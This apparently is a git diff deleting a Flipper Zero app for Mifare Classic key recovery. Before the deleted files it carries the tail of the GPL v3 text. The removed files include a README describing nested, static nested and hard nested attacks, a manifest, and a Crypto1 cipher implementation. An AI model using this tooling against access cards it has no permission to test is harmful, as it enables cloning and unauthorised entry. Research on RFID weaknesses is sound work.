requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -. diff --git a/applications/external/mifare_nested/README.md b/applications/external/mifare_nested/README.md deleted file mode 100644 index 9d5031725..000000000 --- a/applications/external/mifare_nested/README.md +++ /dev/null @@ -1,38 +0,0 @@ -# Mifare Nested Attacks for Flipper Zero - -Ported Nested attacks from Proxmark3 (Iceman fork) - -This is not original Repo of this app! Please follow this link to find latest original source and support the author! -[Flipper (Mifare) Nested (by AloneLiberty)](https://github.com/AloneLiberty/FlipperNested) - -## Currently supported attacks - - - nested attack - - static nested attack - - hard nested attack - -## Warning - -App is still in early development, so there may be bugs. Your Flipper Zero may randomly crash/froze. Please create issue if you find any bugs (one bug = one issue). In original repo! - https://github.com/AloneLiberty/FlipperNested - -## Disclaimer - -The app provided for personal use only. Developer does not take responsibility for any loss or damage caused by the misuse of this app. In addition, the app developer does not guarantee the performance or compatibility of the app with all tags, and cannot be held liable for any damage caused to your tags/Flipper Zero as a result of using the app. By using this app you confirm that the tag belongs to you, you have permission to preform the attack and you agree to hold the app developer harmless from any and all claims, damages, or losses that may arise from its use. - -## I need **your** help! - -To successfuly recover keys from nested attack we need to correctly predict PRNG value. But we have a problem with that. Due to lack of my knowlege of Flipper Zero NFC HAL, PRNG can jump by quite large values (not like Proxmark3). So app is trying to find a delay where PRNG can be predicted accurately enough. This is not the best option, because we have to try to recover a bunch of unnecessary keys, which takes a lot of time and RAM and also spend a lot of time on timings. I don't know how to fix it. - -UPD: Chameleon Ultra devs [faced same issue](https://youtu.be/_wfikmXNQzE?t=202). They seems to use same method: [nested.c](https://github.com/RfidResearchGroup/ChameleonUltra/blob/main/software/src/nested.c) (better know from the beginning of development...) - -## How to use it? - -Detailed guide: [EN](https://github.com/AloneLiberty/FlipperNested/wiki/Usage-guide), [RU](https://github.com/AloneLiberty/FlipperNested/wiki/%D0%93%D0%B0%D0%B9%D0%B4-%D0%BF%D0%BE-%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8E). - -## FAQ - -For frequently asked questions, please refer to the FAQ: [EN](https://github.com/AloneLiberty/FlipperNested/wiki/FAQ), [RU](https://github.com/AloneLiberty/FlipperNested/wiki/%D0%A7%D0%90%D0%92%D0%9E). - -## Contacts - -Find here: https://github.com/AloneLiberty/FlipperNested diff --git a/applications/external/mifare_nested/TODO.md b/applications/external/mifare_nested/TODO.md deleted file mode 100644 index 4610e5c7b..000000000 --- a/applications/external/mifare_nested/TODO.md +++ /dev/null @@ -1,3 +0,0 @@ -# TODO: - -1. Better (faster) detection of delay in a nested attack diff --git a/applications/external/mifare_nested/application.fam b/applications/external/mifare_nested/application.fam deleted file mode 100644 index b06c4fa3e..000000000 --- a/applications/external/mifare_nested/application.fam +++ /dev/null @@ -1,25 +0,0 @@ -App( - appid="mifare_nested", - name="Mifare Nested", - apptype=FlipperAppType.EXTERNAL, - entry_point="mifare_nested_app", - requires=[ - "storage", - "gui", - "nfc" - ], - stack_size=4 * 1024, - order=30, - fap_icon="assets/icon.png", - fap_category="NFC", - fap_private_libs=[ - Lib(name="nested"), - Lib(name="parity"), - Lib(name="crypto1") - ], - fap_icon_assets="assets", - fap_author="AloneLiberty", - fap_description="Recover Mifare Classic keys", - fap_weburl="https://github.com/AloneLiberty/FlipperNested", - fap_version="1.5.2" -) diff --git a/applications/external/mifare_nested/assets/ApplyTag.png b/applications/external/mifare_nested/assets/ApplyTag.png deleted file mode 100644 index 787c0bcfe..000000000 Binary files a/applications/external/mifare_nested/assets/ApplyTag.png and /dev/null differ diff --git a/applications/external/mifare_nested/assets/DolphinCry.png b/applications/external/mifare_nested/assets/DolphinCry.png deleted file mode 100644 index 86d9db1b4..000000000 Binary files a/applications/external/mifare_nested/assets/DolphinCry.png and /dev/null differ diff --git a/applications/external/mifare_nested/assets/DolphinSuccess.png b/applications/external/mifare_nested/assets/DolphinSuccess.png deleted file mode 100644 index 341999109..000000000 Binary files a/applications/external/mifare_nested/assets/DolphinSuccess.png and /dev/null differ diff --git a/applications/external/mifare_nested/assets/Loading.png b/applications/external/mifare_nested/assets/Loading.png deleted file mode 100644 index 93a59fe68..000000000 Binary files a/applications/external/mifare_nested/assets/Loading.png and /dev/null differ diff --git a/applications/external/mifare_nested/assets/icon.png b/applications/external/mifare_nested/assets/icon.png deleted file mode 100644 index ae72f2ff9..000000000 Binary files a/applications/external/mifare_nested/assets/icon.png and /dev/null differ diff --git a/applications/external/mifare_nested/lib/crypto1/crypto1.c b/applications/external/mifare_nested/lib/crypto1/crypto1.c deleted file mode 100644 index 0483f45e8..000000000 --- a/applications/external/mifare_nested/lib/crypto1/crypto1.c +++ /dev/null @@ -1,118 +0,0 @@ -#include "crypto1.h" -#include - -void crypto1_reset(Crypto1* crypto1) { - furi_assert(crypto1); - crypto1->even = 0; - crypto1->odd = 0; -} - -void crypto1_init(Crypto1* crypto1, uint64_t key) { - furi_assert(crypto1); - crypto1->even = 0; - crypto1->odd = 0; - for(int8_t i = 47; i > 0; i -= 2) { - crypto1->odd = crypto1->odd << 1 | FURI_BIT(key, (i - 1) ^ 7); - crypto1->even = crypto1->even << 1 | FURI_BIT(key, i ^ 7); - } -} - -uint32_t crypto1_filter(uint32_t in) { - uint32_t out = 0; - out = 0xf22c0 >> (in & 0xf) & 16; - out |= 0x6c9c0 >> (in >> 4 & 0xf) & 8; - out |= 0x3c8b0 >> (in >> 8 & 0xf) & 4; - out |= 0x1e458 >> (in >> 12 & 0xf) & 2; - out |= 0x0d938 >> (in >> 16 & 0xf) & 1; - return FURI_BIT(0xEC57E80A, out); -} - -uint8_t crypto1_bit(Crypto1* crypto1, uint8_t in, int is_encrypted) { - furi_assert(crypto1); - uint8_t out = crypto1_filter(crypto1->odd); - uint32_t feed = out & (!!is_encrypted); - feed ^= !!in; - feed ^= LF_POLY_ODD & crypto1->odd; - feed ^= LF_POLY_EVEN & crypto1->even; - crypto1->even = crypto1->even << 1 | (evenparity32(feed)); - - FURI_SWAP(crypto1->odd, crypto1->even); - return out; -} - -uint8_t crypto1_byte(Crypto1* crypto1, uint8_t in, int is_encrypted) { - furi_assert(crypto1); - uint8_t out = 0; - for(uint8_t i = 0; i < 8; i++) { - out |= crypto1_bit(crypto1, FURI_BIT(in, i), is_encrypted) << i; - } - return out; -} - -uint32_t crypto1_word(Crypto1* crypto1, uint32_t in, int is_encrypted) { - furi_assert(crypto1); - uint32_t out = 0; - for(uint8_t i = 0; i < 32; i++) { - out |= (uint32_t)crypto1_bit(crypto1, BEBIT(in, i), is_encrypted) << (24 ^ i); - } - return out; -} - -uint32_t prng_successor(uint32_t x, uint32_t n) { - SWAPENDIAN(x); - while(n--) x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31; - - return SWAPENDIAN(x); -} - -void crypto1_decrypt( - Crypto1* crypto, - uint8_t* encrypted_data, - uint16_t encrypted_data_bits, - uint8_t* decrypted_data) { - furi_assert(crypto); - furi_assert(encrypted_data); - furi_assert(decrypted_data); - - if(encrypted_data_bits < 8) { - uint8_t decrypted_byte = 0; - decrypted_byte |= (crypto1_bit(crypto, 0, 0) ^ FURI_BIT(encrypted_data[0], 0)) << 0; - decrypted_byte |= (crypto1_bit(crypto, 0, 0) ^ FURI_BIT(encrypted_data[0], 1)) << 1; - decrypted_byte |= (crypto1_bit(crypto, 0, 0) ^ FURI_BIT(encrypted_data[0], 2)) << 2; - decrypted_byte |= (crypto1_bit(crypto, 0, 0) ^ FURI_BIT(encrypted_data[0], 3)) << 3; - decrypted_data[0] = decrypted_byte; - } else { - for(size_t i = 0; i < encrypted_data_bits / 8; i++) { - decrypted_data[i] = crypto1_byte(crypto, 0, 0) ^ encrypted_data[i]; - } - } -} - -void crypto1_encrypt( - Crypto1* crypto, - uint8_t* keystream, - uint8_t* plain_data, - uint16_t plain_data_bits, - uint8_t* encrypted_data, - uint8_t* encrypted_parity) { - furi_assert(crypto); - furi_assert(plain_data); - furi_assert(encrypted_data); - furi_assert(encrypted_parity); - - if(plain_data_bits < 8) { - encrypted_data[0] = 0; - for(size_t i = 0; i < plain_data_bits; i++) { - encrypted_data[0] |= (crypto1_bit(crypto, 0, 0) ^ FURI_BIT(plain_data[0], i)) << i; - } - } else { - memset(encrypted_parity, 0, plain_data_bits / 8 + 1); - for(uint8_t i = 0; i < plain_data_bits / 8; i++) { - encrypted_data[i] = crypto1_byte(crypto, keystream ? keystream[i] : 0, 0) ^ - plain_data[i]; - encrypted_parity[i / 8] |= - (((crypto1_filter(crypto->odd) ^ oddparity8(plain_data[i])) & 0x01) - << (7 - (i & 0x0007))); - } - } -} \ No newline at end of file diff --git a/applications/external/mifare_nested/lib/crypto1/crypto1.h b/applications/external/mifare_nested/lib/crypto1/crypto1.h deleted file mode 100644 index bad6e631b..000000000 --- a/applications/external/mifare_nested/lib/crypto1/crypto1.h +++ /dev/null @@ -1,39 +0,0 @@ -#include "../../lib/parity/parity.h" -#include -#include -#include "stddef.h" - -#define LF_POLY_ODD (0x29CE5C) -#define LF_POLY_EVEN (0x870804) - -#define SWAPENDIAN(x) \ - ((x) = ((x) >> 8 & 0xff00ff) | ((x)&0xff00ff) << 8, (x) = (x) >> 16 | (x) << 16) -#define BEBIT(x, n) FURI_BIT(x, (n) ^ 24) - -void crypto1_reset(Crypto1* crypto1); - -void crypto1_init(Crypto1* crypto1, uint64_t key); - -uint32_t crypto1_filter(uint32_t in); - -uint8_t crypto1_bit(Crypto1* crypto1, uint8_t in, int is_encrypted); - -uint8_t crypto1_byte(Crypto1* crypto1, uint8_t in, int is_encrypted); - -uint32_t crypto1_word(Crypto1* crypto1, uint32_t in, int is_encrypted); - -uint32_t prng_successor(uint32_t x, uint32_t n); - -void crypto1_decrypt( - Crypto1* crypto, - uint8_t* encrypted_data, - uint16_t encrypted_data_bits, - uint8_t* decrypted_data); - -void crypto1_encrypt( - Crypto1* crypto, - uint8_t* keystream, - uint8_t* plain_data, - uint16_t plain_data_bits, - uint8_t* encrypted_data, - 